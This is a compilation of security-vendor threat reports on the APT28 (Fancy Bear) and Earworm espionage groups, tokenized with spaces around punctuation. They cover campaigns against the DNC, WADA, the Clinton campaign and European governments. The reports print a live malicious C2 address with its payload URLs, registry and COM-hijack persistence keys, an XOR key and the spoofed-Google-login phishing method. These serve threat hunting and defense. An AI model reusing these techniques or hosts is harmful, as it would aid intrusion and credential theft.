Recent campaigns see APT28 group return to covert intelligence gathering operations in Europe and South America .
After making headlines during 2016 due to its involvement in cyber attacks against an organization involved in the U.S. presidential election , APT28 ( aka Swallowtail , Fancy Bear ) has continued to mount operations during 2017 and 2018 .
The espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
APT28 has been active since at least January 2007 but received public attention in a major way during 2016 when it was implicated in a series of cyber attacks in the run up to the U.S. presidential election .
Beginning in the Spring of 2016 , APT28 sent spear-phishing emails to political targets including members of the Democratic National Committee ( DNC ) .
These emails were designed to trick recipients into supposedly changing their email passwords on a fake webmail domain .
The attack group then used these stolen credentials to gain access to the DNC network , install malware , move across the network , and steal data , including a trove of emails .
The compromised information was later leaked online .
These election attacks signaled a change of tactics on the part of APT28 , moving away from their prior low-key intelligence gathering towards more overt activity , seemingly intended to destabilize and disrupt victim organizations and countries .
The group was also responsible for the 2016 attack on the World Anti Doping Agency ( WADA ) and the leaking of confidential drug testing information .
In keeping with its shift to more overt tactics , the group appeared to publicly take credit for the attack , leaking the information on a website using the name “ Fancy Bears ” , an industry codename that was already widely used for the group .
After receiving an unprecedented amount of attention in 2016 , APT28 has continued to mount operations during 2017 and 2018 .
However , the group ’s activities since the beginning of 2017 have again become more covert and appear to be mainly motivated by intelligence gathering .
The organizations targeted by APT28 during 2017 and 2018 include :A well-known international organization Military targets in Europe Governments in Europe A government of a South American country An embassy belonging to an Eastern European country .
APT28 uses a number of tools to compromise its targets .
The group ’s primary malware is Sofacy , which has two main components .
Trojan.Sofacy ( also known as Seduploader ) performs basic reconnaissance on an infected computer and can download further malware .
Backdoor.SofacyX ( also known as X-Agent ) is a second stage piece of malware , capable of stealing information from the infected computer .
A Mac version of the Trojan also exists ( OSX.Sofacy ) .
APT28 has continued to develop its tools over the past two years .
For example , Trojan.Shunnael ( aka X-Tunnel ) , malware used to maintain access to infected networks using an encrypted tunnel , underwent a rewrite to .NET .
In addition to this , as reported by our peers at ESET last week , the group has also begun using a UEFI ( Unified Extensible Firmware Interface ) rootkit known as Lojax .
Because the rootkit resides within a computer ’s flash memory , it allows the attackers to maintain a persistent presence on a compromised machine even if the hard drive is replaced or the operating system is reinstalled .
Symantec products block attempts to install Lojax with the detection name Trojan.Lojax .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
The group uses spear-phishing emails to compromise its targets and infect them with malware .
Earworm uses two malware tools .
Trojan.Zekapab is a downloader component that is capable of carrying out basic reconnaissance functions and downloading additional malware to the infected computer .
Backdoor.Zekapab is installed on selected infected computers and is capable of taking screenshots , executing files and commands , uploading and downloading files , performing registry and file system operations , and carrying out system information tasks .
Earworm has also on occasion installed additional tools onto infected computers for the purposes of keylogging and password capture .
During 2016 , Symantec observed some overlap between the command and control ( C&C ) infrastructure used by Earworm and the C&C infrastructure used by Grizzly Steppe ( the U.S. government code name for APT28 and related actors ) , implying a potential connection between Earworm and APT28 .
However , Earworm also appears to conduct separate operations from APT28 and thus Symantec tracks them as a distinct group .
It is now clear that after being implicated in the U.S. presidential election attacks in late 2016 , APT28 was undeterred by the resulting publicity and continues to mount further attacks using its existing tools .
After its foray into overt and disruptive attacks in 2016 , the group has subsequently returned to its roots , mounting intelligence gathering operations against a range of targets .
This ongoing activity and the fact that APT28 continues to refine its toolset means that the group will likely continue to pose a significant threat to nation state targets .
Symantec has had the following protections in place to protect customers against APT28 attacks :Trojan.Sofacy Backdoor.SofacyX Infostealer.Sofacy OSX.Sofacy Trojan.Shunnael Trojan.Lojax .
The following protections are in place to protect customers against Earworm attacks :Trojan.Zekapab Backdoor.Zekapab .
A BREXIT-themed lure document that delivers ZEKAPAB malware .
SNAKEMACKEREL is an espionage-motivated cyber threat group , also known as Sofacy , Pawn Storm , Sednit , Fancy Bear , APT28 , Group 74 , Tsar Team , and Strontium .
Both the British and Dutch governments have publicly attributed SNAKEMACKEREL activities to the Russian military intelligence service ( RIS ) and have linked specific cyberattacks to the group , including the targeting of the Organisation for the Prohibition of Chemical Weapons ( OPCW ) , the United Kingdom Defence and Science Technology Laboratory ( DSTL ) and the United Kingdom Foreign and Commonwealth Office ( FCO ) .
According to the FBI , the SNAKEMACKEREL threat group "is part of an ongoing campaign of cyber-enabled operations directed at the United States government and its citizens .
These cyber operations have included spear phishing campaigns targeting government organizations , critical infrastructure entities , think tanks , universities , political organizations , and corporations , leading to the theft of information .
The creation of this malicious document , coming on the same day that the UK government announced an initial agreed draft of the BREXIT agreement , suggests that SNAKEMACKEREL is a group that pays close attention to political affairs and is able to leverage the latest news headlines to develop lure documents to deliver firststage malware , such as Zekapab , to its intended targets .
The theme also reflects the targeting of the group which primarily focuses on NATO members , countries in Central Asia and those neighboring Russia .
Despite the public reporting and government accusations , SNAKEMACKEREL remains highly active .
It is behind a large number of cyberattacks targeting global aerospace and defense contractors , military units , political parties , the International Olympic Committee ( IOC ) , anti-doping agencies , government departments and various other verticals .
NATO and EU member countries , as well as the United States , are of particular interest to the group .
SNAKEMACKEREL operations continue to be some of the most far-reaching and sophisticated cyber espionage and intelligence campaigns to date .
This report provides a technical overview of a BREXIT-themed lure Microsoft Office document that is used to drop a Delphi version of the Zekapab first-stage malware which has been previously reported by iDefense analysts .
However , additional research on the C2 server 109.248.148.42 revealed a new .NET version of Zekapab that is designed for the same purpose .
 iDefense analysts recently came across the following malicious document that is purportedly related to the recent BREXIT negotiations between the UK and the EU .
Brexit 15.11.2018.docx :Of note , the Company name Grizli777 is indicative of a cracked version of Microsoft Word .
To trick the targeted individual into enabling macros , the attackers deliberately used jumbled-up text as content .
The document loads malicious content from http://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm via the settings.xml.rels component that is embedded within the DOCX document .
The downloaded macro component includes a function called AutoClose() as well as two payloads embedded via Base64 encoded strings .
Research on the malicious IP address 109.248.148.42 revealed two different .dotm components :Filename : attachedTemplate.dotm MD5 : 018611b879b2bbd886e86b62484494da Filename : templates.dotm MD5 : 2a794b55b839b3237482098957877326 .
The two components are dropped from the following URLs respectively :http://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm http://109.248.148.42/officeDocument/2006/relationships/templates.dotm .
Both components contain an identical VBA macro code as shown above , each containing two different embedded payloads : one is an executable binary file and the other is a .docm file .
 attachedTemplate.dotm dropped the following :Filename : ntslwin.exe MD5 : 7e67122d3a052e4755b02965e2e56a2e Filename : ~de03fc12a.docm MD5 : 9d703d31795bac83c4dd90527d149796 .
 templates.dotm dropped the following :Filename : ntslwin.exe MD5 : a13c864980159cd9bdc94074b2389dda Filename : ~de03fc12a.docm MD5 : 9d703d31795bac83c4dd90527d149796 .
The second macro file ~de03fc12a.docm dropped includes a simple macro to execute the dropped executable .
Analysis into the two binaries shows that they are in fact a Delphi ( initially UPX packed ) and .NET version of the Zekapab first-stage malware .
The following network traffic is performed by the Delphi sample which has the following metadata once unpacked by UPX :Filename : ntslwin.exe MD5 : f4cab3a393462a57639faa978a75d10a .
Exhibit 4 shows the network traffic generated by the sample , a http POST request containing the system information collected .
On the other hand , the network traffic generated by the .NET version is unencoded .
Both versions are designed to collect system information and running processes and send them to the designated C2 server using http POST to the URI used in both cases is /agr-enum/progress-inform/cube.php?res= .
If the system is deemed interesting , the next stage malware would be delivered into corresponding directories .
The second-stage malware is delivered to different destinations with an autorun registry key set respectively .
For the Delphi version , the following registry key and value are used for persistence :Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr Value : %AppData%\Video\videodrv.exe .
For the .NET version , the following registry key and value are used for persistence :Key : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer Value : %AppData%\Platform\sslwin.exe .
The list of information collected includes :Results from the commands systeminfo and tasklist Current execution path Capture screenshot Drive enumeration Drive serial number .
The code for downloading and executing the next stage malware .
As shown , the delivery of the next-stage malware is dependent on the information collected .
To mitigate the threat described in this report , iDefense recommends blocking access to the IP address and URI pattern :109.248.148.42 /agr-enum/progress-inform/cube.php?res= .
For threat hunting , iDefense recommends searching for the following :Network : Presence of http and DNS traffic to the network IOCs shared above .
System : Presence of the following artifacts .
Persistence mechanism Registry Key :Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr Key : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer .
On disk artefacts File with the full path : %AppData%\Video\videodrv.exe File with the full path : %AppData%\Platform\sslwin.exe Files with following file hashes .
“ Cyber Conflict ” Decoy Document Used In Real Cyber Conflict .
Cisco Talos discovered a new malicious campaign from the well known actor Group 74 ( aka Tsar Team , Sofacy , APT28 , Fancy Bear ) .
Ironically the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference .
CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence .
Due to the nature of this document , we assume that this campaign targets people with an interest in cyber security .
Unlike previous campaigns from this actor , the flyer does not contain an Office exploit or a 0-day , it simply contains a malicious Visual Basic for Applications ( VBA ) macro .
The VBA drops and executes a new variant of Seduploader .
This reconnaissance malware has been used by Group 74 for years and it is composed of 2 files : a dropper and a payload .
The dropper and the payload are quite similar to the previous versions but the author modified some public information such as MUTEX name , obfuscationWe assume that these modifications were performed to avoid detection based on public IOCs .
The article describes the malicious document and the Seduploader reconnaissance malware , especially the difference with the previous versions .
The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename Conference_on_Cyber_Conflict.doc .
The Office document contains a VBA script .
The goal of this code is to get information from the properties of the document ( "Subject" , "Company" , "Category" , "Hyperlink base" and finally "Comments" ) .
Some of this information can be directly extracted from the Windows explorer by looking at the properties of the file .
The "Hyperlink Base" must be extracted using another tool , strings is capable of obtaining this by looking for long strings .
Pay close attention to the contents of these fields as they appear base64 encoded .
This extracted information is concatenated together to make a single variable .
This variable is decoded with the base64 algorithm in order to get a Windows library ( PE file ) which is written to disk .
The file is named netwf.dat .
On the next step this file is executed by rundll32.exe via the KlpSvc export .
We see that this file drops 2 additional files : netwf.bat and netwf.dll .
The final part of the VBA script changes the properties of these two files , setting their attributes to Hidden .
We can also see 2 VBA variable names : PathPld , probably for Path Payload , and PathPldBt , for Path Payload Batch .
As opposed to previous campaigns performed by this actor , this latest version does not contain privilege escalation and it simply executes the payload and configures persistence mechanisms .
The dropper installs 2 files :executes netwf.dll netwf.dll :the payload .
The dropper implements 2 persistence mechanisms :HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat file COM Object hijack of the following CLSID : {BCDE0395-E52F-467C-8E3D-C4579291692E} , the CLSID of the class MMDeviceEnumerator .
These 2 techniques have also been previously used by this actor .
Finally the payload is executed by rundll32.exe ( and the ordinal #1 in argument ) or by explorer.exe if the COM Object hijack is performed .
In this case , explorer.exe will instance the MMDeviceEnumerator class and will execute the payload .
The payload features are similar to the previous versions of Seduploader .
We can compare it to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group 74 .
Of the 195 functions of the new sample , 149 are strictly identical , 16 match at 90% and 2 match at 80% .
In the previous campaign where adversaries used Office document exploits as an infection vector , the payload was executed in the Office word process .
In this campaign , adversaries did not use any exploit .
Instead ,the payload is executed in standalone mode by rundll32.exe .
Adversaries also changed some constants , such as the XOR key used in the previous version .
The key in our version is : key=b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64" .
The MUTEX name is different too : FG00nxojVs4gLBnwKc7HhmdK0h .
Here are some of the Seduploader features :Screenshot capture ( with the GDI API ) ;data/configuration Exfiltration ;Execution of code ;File downloading ;The Command & Control ( CC ) of the analysed sample is myinvestgroup[.]com .
During the investigation , the server did not provide any configuration to the infected machines .
Based on the metadata of the Office documents and the PE files , the attackers had created the file on Wednesday , the 4th of October .
Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the targets .
This campaign has most likely been created to allow the targeting of people linked to or interested by cybersecurity , so probably the people who are more sensitive to cybersecurity threats .
In this case , Group 74 did not use an exploit or any 0-day but simply used scripting language embedded within the Microsoft Office document .
Due to this change , the fundamental compromise mechanism is different as the payload is executed in a standalone mode .
The reasons for this are unknown , but , we could suggest that they did not want to utilize any exploits to ensure they remained viable for any other operations .
Actors will often not use exploits due to the fact that researchers can find and eventually patch these which renders the actors weaponized platforms defunct .
Additionally the author did some small updates after publications from the security community , again this is common for actors of this sophisticated nature , once their campaigns have been exposed they will often try to change tooling to ensure better avoidance .
For example the actor changed the XOR key and the MUTEX name .
APT28 : AT THE CENTER OF THE STORM .
The Democratic National Committee ’s ( DNC ) June 2016 announcement attributing its network breach to the Russian Government triggered an international debate over Russia ’s sponsorship of information operations against the U.S.Our visibility into the operations of APT28 - a group we believe the Russian Government sponsors - has given us insight into some of the government ’s targets , as well as its objectives and the activities designed to further them .
We have tracked and profiled this group through multiple investigations , endpoint and network detections , and continuous monitoring .
Our visibility into APT28 ’s operations , which date to at least 2007 , has allowed us to understand the group ’s malware , operational changes , and motivations .
This intelligence has been critical to protecting and informing our clients , exposing this threat , and strengthening our confidence in attributing APT28 to the Russian Government .
On December 29 , 2016 , the Department of Homeland Security ( DHS ) and Federal Bureau of Investigation ( FBI ) released a Joint Analysis Report confirming FireEye ’s long held public assessment that the Russian Government sponsors APT28 .
Since at least 2007 , APT28 has engaged in extensive operations in support of Russian strategic interests .
The group , almost certainly compromised of a sophisticated and prolific set of developers and operators , has historically collected intelligence on defense and geopolitical issues .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
Over the past two years , Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine .
After compromising a victim organization , APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests .
To date these have included the conflict in Syria , NATO-Ukraine relations , the European Union refugee and migrant crisis , the 2016 Olympics and Paralympics Russian athlete doping scandal , public accusations regarding Russian state-sponsored hacking , and the 2016 U.S. presidential election .
This report details our observations of APT28 ’s targeting , and our investigation into a related breach .
We also provide an update on shifts in the group ’s tool development and use , and summarize the tactics APT28 employs to compromise its victims .
In October 2014 , FireEye released APT28 : A Window into Russia ’s Cyber Espionage Operations? , and characterized APT28 ’s activity as aligning with the Russian Government ’s strategic intelligence requirements .
While tracking APT28 , we noted the group ’s interest in foreign governments and militaries , particularly those of European and Eastern European nations , as well as regional security organizations , such as the North Atlantic Treaty Organization ( NATO ) and the Organization for Security and Cooperation in Europe ( OSCE ) , among others .
Table 1 highlights some recent examples of this activity .
NOVEMBER 2016 , The OSCE confirmed that it had suffered an intrusion , which a Western intelligence service attributed to APT28 .
Germany 's Christian Democratic Union ( CDU ) :APRIL - MAY 2016 , Researchers at Trend Micro observed APT28 establish a fake CDU email server and launch phishing emails against CDU members in an attempt to obtain their email credentials and access their accounts .
Pussy Riot AUGUST :2015 , APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
NATO , Afghan Ministry of Foreign Affairs , Pakistani Military :JULY 2015 , APT28 used two domains ( nato-news.com and bbc-news.org ) to host an Adobe Flash zero-day exploit to target NATO , the Afghan Ministry of Foreign Affairs , and the Pakistani military .
German Bundestag & Political Parties :JUNE 2015 , Germany ’s Federal Office for Security in Information Technology ( BSI ) announced that APT28 was likely responsible for the spear phishing emails sent to members of several German political parties .
The head of Germany ’s domestic intelligence agency , Bundesamt für Verfassungsschutz ( BfV ) , also attributed the June 2015 compromise of the Bundestag ’s networks to APT28 .
Kyrgyzstan Ministry of Foreign Affairs :OCTOBER 2014 THROUGH SEPTEMBER 2015 , FireEye iSight Intelligence identified changes made to domain name server ( DNS ) records that suggest that APT28 intercepted email traffic from the Kyrgyzstan Ministry of Foreign Affairs after maliciously modifying DNS records of the ministry ’s authoritative DNS servers .
Polish Government & Power Exchange websites :JUNE AND SEPTEMBER 2014 , APT28 employed “ Sedkit ” in conjunction with strategic web compromises to deliver “ Sofacy ” malware on Polish Government websites , and the websites of Polish energy company Power Exchange .
On September 13 , WADA confirmed that APT28 had compromised its networks and accessed athlete medical data .
On September 12 , 2016 , the “ Fancy Bears ’ Hack Team ” persona claimed to have compromised WADA and released athletes ’ medical records as “ proof of American athletes taking doping. ”The DNC announced it had suffered a network compromise and that a subsequent investigation found evidence of two breaches , attributed to APT28 and APT29 .
FireEye analyzed the malware found on DNC networks and determined that it was consistent with our previous observations of APT28 tools .
In June 2016 , shortly after the DNC ’s announcement , the Guccifer 2.0 persona claimed responsibility for the DNC breach and leaked documents taken from the organization ’s network .
Guccifer 2.0 continued to leak batches of DNC documents through September .
Investigators found that John Podesta , Hillary Clinton ’s presidential campaign chairman , was one of thousands of individuals targeted in a mass phishing scheme using shortened URLs that security researchers attributed to APT28 .
Throughout October and into early November , WikiLeaks published 34 batches of email correspondence stolen from John Podesta ’s personal email account .
Correspondence of other individuals targeted in the same phishing campaign , including former Secretary of State Colin Powell and Clinton campaign staffer William Rinehart , were published on the “ DC Leaks ” website .
In July , the DCCC announced that it was investigating an ongoing “ cybersecurity incident ” that the FBI believed was linked to the compromise of the DNC .
House Speaker Nancy Pelosi later confirmed that the DCCC had suffered a network compromise .
Investigators indicated that the actors may have gained access to DCCC systems as early as March .
In August , the Guccifer 2.0 persona contacted reporters covering U.S. House of Representative races to announce newly leaked documents from the DCCC pertaining to Democratic candidates .
From August to October , Guccifer 2.0 posted several additional installments of what appear to be internal DCCC documents on “ his ” WordPress site .
In February , FireEye identified CORESHELL traffic beaconing from TV5Monde ’s network , confirming that APT28 had compromised TV5Monde ’s network .
In April 2015 , alleged pro-ISIS hacktivist group CyberCaliphate defaced TV5Monde ’s websites and social media profiles and forced the company ’s 11 broadcast channels offline .
FireEye identified overlaps between the domain registration details of CyberCaliphate ’s website and APT28 infrastructure .
Ukrainian officials revealed that the investigation into the compromise of the CEC ’s internal network identified malware traced to APT28 .
During the May 2014 Ukrainian presidential election , purported pro-Russian hacktivists CyberBerkut conducted a series of malicious activities against the CEC including a system compromise , data destruction , a data leak , a distributed denial-of-service ( DDoS ) attack , and an attempted defacement of the CEC website with fake election results .
As news of the DNC breach spread , APT28 was preparing for another set of operations : countering the condemnation that Russia was facing after doping allegations and a threatened blanket ban of the Russian team from the upcoming Rio Games .
Russia , like many nations , has long viewed success in the Olympic Games as a source of national prestige and soft power on the world stage .
The doping allegations and prospective ban from the Games further ostracized Russia , and likely provided motivation to actively counter the allegations by attempting to discredit anti-doping agencies and policies .
Our investigation of APT28 ’s compromise of WADA ’s network , and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism .
Since releasing our 2014 report , we continue to assess that APT28 is sponsored by the Russian Government .
We further assess that APT28 is the group responsible for the network compromises of WADA and the DNC and other entities related to the 2016 U.S. presidential election cycle .
These breaches involved the theft of internal data - mostly emails – that was later strategically leaked through multiple forums and propagated in a calculated manner almost certainly intended to advance particular Russian Government aims .
In a report released on January 7 2017 , the U.S. Directorate of National Intelligence described this activity as an “ influence campaign. ” This influence campaign - a combination of network compromises and subsequent data leaks - aligns closely with the Russian military ’s publicly stated intentions and capabilities .
Influence operations , also frequently called “ information operations , ” have a long history of inclusion in Russian strategic doctrine , and have been intentionally developed , deployed , and modernized with the advent of the internet .
The recent activity in the U.S. is but one of many instances of Russian Government influence operations conducted in support of strategic political objectives , and it will not be the last .
As the 2017 elections in Europe approach - most notably in Germany , France , and the Netherlands - we are already seeing the makings of similarly concerted efforts .
In our 2014 report , we identified APT28 as a suspected Russian government-sponsored espionage actor .
We came to this conclusion in part based on forensic details left in the malware that APT28 had employed since at least 2007 .
We have provided an updated version of those conclusions , a layout of the tactics that they generally employ , as well as observations of apparent tactical shifts .
For full details , please reference our 2014 report , APT28 : A Window into Russia ’s Cyber Espionage Operations ? APT28 employs a suite of malware with features indicative of the group ’s plans for continued operations , as well as the group ’s access to resources and skilled developers .
backdoor , Xagent , webhp , SPLM .
backdoor , Sedreco , AZZY , Xagent , ADVSTORESHELL , NETUI .
backdoor , Sednit , Seduploader , JHUHUGIT , Sofacy .
downloader , Older version of CORESHELL , Sofacy .
credential harvester , Sasfis .
downloader , Newer version of SOURFACE , Sofacy .
APT28 continues to evolve its toolkit and refine its tactics in what is almost certainly an effort to protect its operational effectiveness in the face of heightened public exposure and scrutiny .
In addition to the continued evolution of the group ’s first stage tools , we have also noted APT28 : Leveraging zero-day vulnerabilities in Adobe Flash Player , Java , and Windows , including CVE-2015-1701 , CVE-2015-2424 , CVE-2015-2590 , CVE-2015-3043 , CVE-2015-5119 , and CVE-2015-7645 .
Using a profiling script to deploy zero-days and other tools more selectively , decreasing the chance that researchers and others will gain access to the group ’s tools .
Increasing reliance on public code depositories , such as Carberp , PowerShell Empire , P.A.S. webshell , Metasploit modules , and others in a likely effort to accelerate their development cycle and provide plausible deniability .
Obtaining credentials through fabricated Google App authorization and Oauth access requests that allow the group to bypass two-factor authentication and other security measures .
Moving laterally through a network relying only on legitimate tools that already exist within the victims ’ systems , at times forgoing their traditional toolset for the duration of the compromise .
Threat Group 4127 Targets Hillary Clinton Presidential Campaign .
The Hillary Clinton email leak was the center of the latest scandal in the news caused by Threat Group-4127 ( TG-4127 ) .
SecureWorks Counter Threat Unit ( CTU ) researchers track the activities of Threat Group-4127 , which targets governments , military , and international non-governmental organizations ( NGOs ) .
Components of TG-4127 operations have been reported under the names APT28 , Sofacy , Sednit , and Pawn Storm .
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
Between October 2015 and May 2016 , CTU researchers analyzed 8,909 Bitly links that targeted 3,907 individual Gmail accounts and corporate and organizational email accounts that use Gmail as a service .
In March 2016 , CTU researchers identified a spearphishing campaign using Bitly accounts to shorten malicious URLs .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
Specific targets include staff working for or associated with Hillary Clinton's presidential campaign and the Democratic National Committee ( DNC ) , including individuals managing Clinton's communications , travel , campaign finances , and advising her on policy .
The short links in the spearphishing emails redirected victims to a TG-4127 controlled URL that spoofed a legitimate Google domain .
A Base64 encoded string containing the victim's full email address is passed with this URL , prepopulating a fake Google login page displayed to the victim .
If a victim enters their credentials , TG-4127 can establish a session with Google and access the victim's account .
The threat actors may be able to keep this session alive and maintain persistent access .
The Hillary for America presidential campaign owns the hillaryclinton.com domain , which is used for the campaign website ( www.hillaryclinton.com ) and for email addresses used by campaign staff .
An examination of the hillaryclinton.com DNS records shows that the domain's MX records , which indicate the mail server used by the domain , point to aspmx.l.google.com , the mail server used by Google Apps .
Google Apps allows organizations to use Gmail as their organizational mail solution .
TG-4127 exploited the Hillary for America campaign's use of Gmail and leveraged campaign employees' expectation of the standard Gmail login page to access their email account .
When presented with TG-4127 's spoofed login page , victims might be convinced it was the legitimate login page for their hillaryclinton.com email account .
CTU researchers observed the first short links targeting hillaryclinton.com email addresses being created in mid-March 2016 ; the last link was created in mid-May .
During this period , TG-4127 created 213 short links targeting 108 email addresses on the hillaryclinton.com domain .
Through open-source research , CTU researchers identified the owners of 66 of the targeted email addresses .
There was no open-source footprint for the remaining 42 addresses , suggesting that TG-4127 acquired them from another source , possibly other intelligence activity .
The identified email owners held a wide range of responsibilities within the Hillary for America campaign , extending from senior figures to junior employees and the group mailboxes for various regional offices .
Targeted senior figures managed communications and media affairs , policy , speech writing , finance , and travel , while junior figures arranged schedules and travel for Hillary Clinton's campaign trail .
Targets held the following titles :National political director Finance director Director of strategic communications Director of scheduling Director of travel Traveling press secretary Travel coordinator .
Publicly available Bitly data reveals how many of the short links were clicked , likely by a victim opening a spearphishing email and clicking the link to the fake Gmail login page .
Only 20 of the 213 short links have been clicked as of this publication .
Eleven of the links were clicked once , four were clicked twice , two were clicked three times , and two were clicked four times .
The U.S. Democratic party's governing body , the Democratic National Committee ( DNC ) , uses the dnc.org domain for its staff email .
Between mid-March and mid-April 2016 , TG-4127 created 16 short links targeting nine dnc.org email accounts .
CTU researchers identified the owners of three of these accounts ; two belonged to the DNC 's secretary emeritus , and one belonged to the communications director .
Four of the 16 short links were clicked , three by the senior staff members .
As of this publication , dnc.org does not use the Google Apps Gmail email service .
However , because dnc.org email accounts were targeted in the same way as hillaryclinton.com accounts , it is likely that dnc.org did use Gmail at that time and later moved to a different service .
CTU researchers do not have evidence that these spearphishing emails are connected to the DNC network compromise that was revealed on June 14 .
However , a coincidence seems unlikely , and CTU researchers suspect that TG-4127 used the spearphishing emails or similar techniques to gain an initial foothold in the DNC network .
CTU researchers identified TG-4127 targeting 26 personal gmail.com accounts belonging to individuals linked to the Hillary for America campaign , the DNC , or other aspects of U.S. national politics .
Five of the individuals also had a hillaryclinton.com email account that was targeted by TG-4127 .
Many of these individuals held communications , media , finance , or policy roles .
They include the director of speechwriting for Hillary for America and the deputy director office of the chair at the DNC .
TG-4127 created 150 short links targeting this group .
As of this publication , 40 of the links have been clicked at least once .
Although the 2015 campaign did not focus on individuals associated with U.S. politics , open-source evidence suggests that TG-4127 targeted individuals connected to the U.S. White House in early 2015 .
The threat group also reportedly targeted the German parliament and German Chancellor Angela Merkel's Christian Democratic Union party .
CTU researchers have not observed TG-4127 use this technique ( using Bitly short links ) to target the U.S. Republican party or the other U.S. presidential candidates whose campaigns were active between mid-March and mid-May : Donald Trump , Bernie Sanders , Ted Cruz , Marco Rubio , and John Kasich .
However , the following email domains do not use Google mail servers and may have been targeted by other means :gop.com — used by the Republican National Committee , donaldjtrump.com — used by the Donald Trump campaign , johnkasich.com — used by the John Kasich campaign .
Access to targets' Google accounts allows TG-4127 to review internal emails and potentially access other Google Apps services used by these organizations , such as Google Drive .
In addition to the value of the intelligence , the threat actors could also exploit this access for other malicious activity , such as generating spearphishing emails from internal email addresses to compromise the organizations' networks with malware .
The Russian government views the U.S. as a strategic rival and is known to task its intelligence agencies with gathering confidential information about individuals and organizations close to the center of power in the U.S. Individuals working for the Hillary for America campaign could have information about proposed policies for a Clinton presidency , including foreign-policy positions , which would be valuable to the Russian government .
Information about travel plans and campaign scheduling could provide short-term opportunities for other intelligence operations .
Long-term access to email accounts of senior campaign advisors , who may be appointed to staff positions in a Clinton administration , could provide TG-4127 and the Russian government with access to those individual's accounts .
While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .
Non-governmental political organizations may provide access to desirable national policy information , especially foreign policy , but may not have the same level of protection and security as governmental organizations .
Targeting individuals linked to presidential campaigns could represent an intelligence ‘ long game ,' as establishing access to potential U.S. administration staff before they are appointed could be easier than targeting them when they are established in the White House .
Access to an individual's personal or corporate email account provides a substantial amount of useful intelligence , and threat actors could also leverage the access to launch additional attacks to penetrate the network of an associated organization .
Users rarely check the full URL associated with short links , so threat groups can use URL-shortening services to effectively hide malicious URLs .
Threat actors can use the services' detailed statistics about which links were clicked when , and from what location , to track the success of a spearphishing campaign .
A single compromised account could allow TG-4127 to achieve its operational goals .
CTU researchers recommend that clients take appropriate precautions to minimize the risk of these types of attacks :Educate users about the risks of spearphishing emails .
Use caution and exercise due diligence when faced with a shortened link , especially in unsolicited email messages .
Pasting Bitly URLs , appended with a plus sign , into the address bar of a web browser reveals the full URL .
Sofacy APT hits high profile targets with updated toolset .
Sofacy ( also known as “ Fancy Bear ” , “ Sednit ” , “ STRONTIUM ” and “ APT28 ” ) is an advanced threat group that has been active since around 2008 , targeting mostly military and government entities worldwide , with a focus on NATO countries .
More recently , we have also seen an increase in activity targeting Ukraine .
Back in 2011-2012 , the group used a relatively tiny implant ( known as “ Sofacy ” or SOURFACE ) as its first stage malware .
The implant shared certain similarities with the old Miniduke implants .
This led us to believe the two groups were connected , at least to begin with , although it appears they parted ways in 2014 , with the original Miniduke group switching to the CosmicDuke implant .
At some point during 2013 , the Sofacy group expanded its arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across four to five generations ) and a few others .
We ’ve seen quite a few versions of these implants and they were relatively widespread for a time .
Sofacy ’s August 2015 attack wave .
In the months leading up to August , the Sofacy group launched several waves of attacks relying on zero-day exploits in Microsoft Office , Oracle Sun Java , Adobe Flash Player and Windows itself .
For instance , its JHUHUGIT implant was delivered through a Flash zero-day and used a Windows EoP exploit to break out of the sandbox .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
While the JHUHUGIT ( and more recently , “ JKEYSKW ” ) implant used in most of the Sofacy attacks , high profile victims are being targeted with another first level implant , representing the latest evolution of their AZZYTrojan .
The first versions of the new AZZY implant appeared in August of this year .
During a high profile incident we investigated , our products successfully detected and blocked a “ standard ” Sofacy “ AZZY ” sample that was used to target a range of defense contractors .
The sample used in this attack ( MD5 A96F4B8AC7AA9DBF4624424B7602D4F7 , compiled July 29th , 2015 ) was a pretty standard Sofacy x64 AZZY implant , which has the internal name “ advshellstore.dll ” .
Interestingly , the fact that the attack was blocked didn’t appear to stop the Sofacy team .
Just an hour and a half later they had compiled and delivered another AZZY x64 backdoor ( md5: 9D2F9E19DB8C20DC0D20D50869C7A373 , compiled August 4th , 2015 ) .
This was no longer detectable with static signatures by our product .
However , it was detected dynamically by the host intrusion prevention subsystem when it appeared in the system and was executed .
